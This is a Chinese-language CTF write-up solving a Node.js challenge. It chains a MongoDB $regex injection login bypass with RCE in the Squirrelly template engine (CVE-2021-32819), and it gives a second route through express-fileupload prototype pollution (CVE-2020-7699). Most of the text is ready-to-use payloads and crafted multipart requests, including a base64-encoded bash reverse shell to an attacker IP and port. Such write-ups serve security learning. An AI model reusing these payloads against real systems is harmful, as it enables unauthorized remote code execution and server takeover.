0x00
题挺好的,终于自己做出来了一道nodejs题
这题自己做出来的有两种解法,但是第一种应该就可以了,第二种有点复杂
涉及的知识点:
- Mongodb注入
- CVE-2021-32819
- CVE-2020-7699
0x01 mongodb注入
参考文章:Nosql 注入从零到一
在源码中得知他是使用了mongoose模块进行的mongodb的服务
而且过滤了一些关键字
function filter(str) {
return /gt|lt|lte|gte|eq|ne|where/.test(str) //正则匹配,如果匹配到就返回true ,过滤了< <= > >= = !=
}
但是没有过滤$regex
,可以用正则匹配
从网页源码可以猜测,用户名为admin。但是不是,应该是以admin开头
payload:
POST: username[$regex]=^admin&password[$regex]=.*
0x02 使用 Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)
参考文章:https://cloud.tencent.com/developer/article/2035888
题目Squirrelly的版本刚好为V8.0.8
根据文章的讲解,就是要让传入squirrelly文件的值包含{"autoEscape":false,"defaultFilter":"e');xxxxxxxxxxc.l('F','e"}
由于题目中的是先进行拼接再json解析得到值,所以只需要构造一个就行,最好让结尾和原代码拼接,直接使用注释符://
在这里没法成功
req.files.file.name
和req.files.file.mimetype
可以控,我用的是filename,因为mimietype有点问题
需要构造为
{"autoEscape":false,"defaultFilter":"e'); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSAmPiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE|base64 -d|bash');c.l('F','e"}
// bash -i &> /dev/tcp/IP/PORT 0>&1
数据包里修改filename为
Content-Disposition: form-data; name="file"; filename="\",\"autoEscape\":false,\"defaultFilter\":\"e'); require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSAmPiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE|base64 -d|bash');c.l('F','e"
得到shell
方法二 使用原型链污染(CVE-2020-7699)
参考连接:
- https://blog.p6.is/Real-World-JS-1/这个是CVE-2020-7699的详细
- https://www.joyk.com/dig/detail/1651304351427371别人的复现
因为题目环境存在
app.use(fileUpload({ parseNested: true }));
且版本非常巧合的为1.1.7-alpha.4
,所以可以使用这个漏洞
CVE-2020-7699本质来说就是原型链污染,而在CVE-2021-32819里的解析可以知道,他最后是覆盖env.defaultFilter的值进行的命令执行
而且前面是没有对env.defaultFilter进行赋值的
然后CVE-2020-7699可以直接污染到Object对象,所以我们只要让Object.defaultFilter的值为上面的使用的代码,就可以进行反弹shell
数据包内,修改文件那里的数据
--88dd0b7e7d8aba36226b8fecfaf06e4c
Content-Disposition: form-data; name="__proto__.defaultFilter"
e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSAmPiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE|base64 -d|bash');//
--88dd0b7e7d8aba36226b8fecfaf06e4c--
他会返回No files were uploaded!
,不用管,然后再访问一次页面,就可以得到shell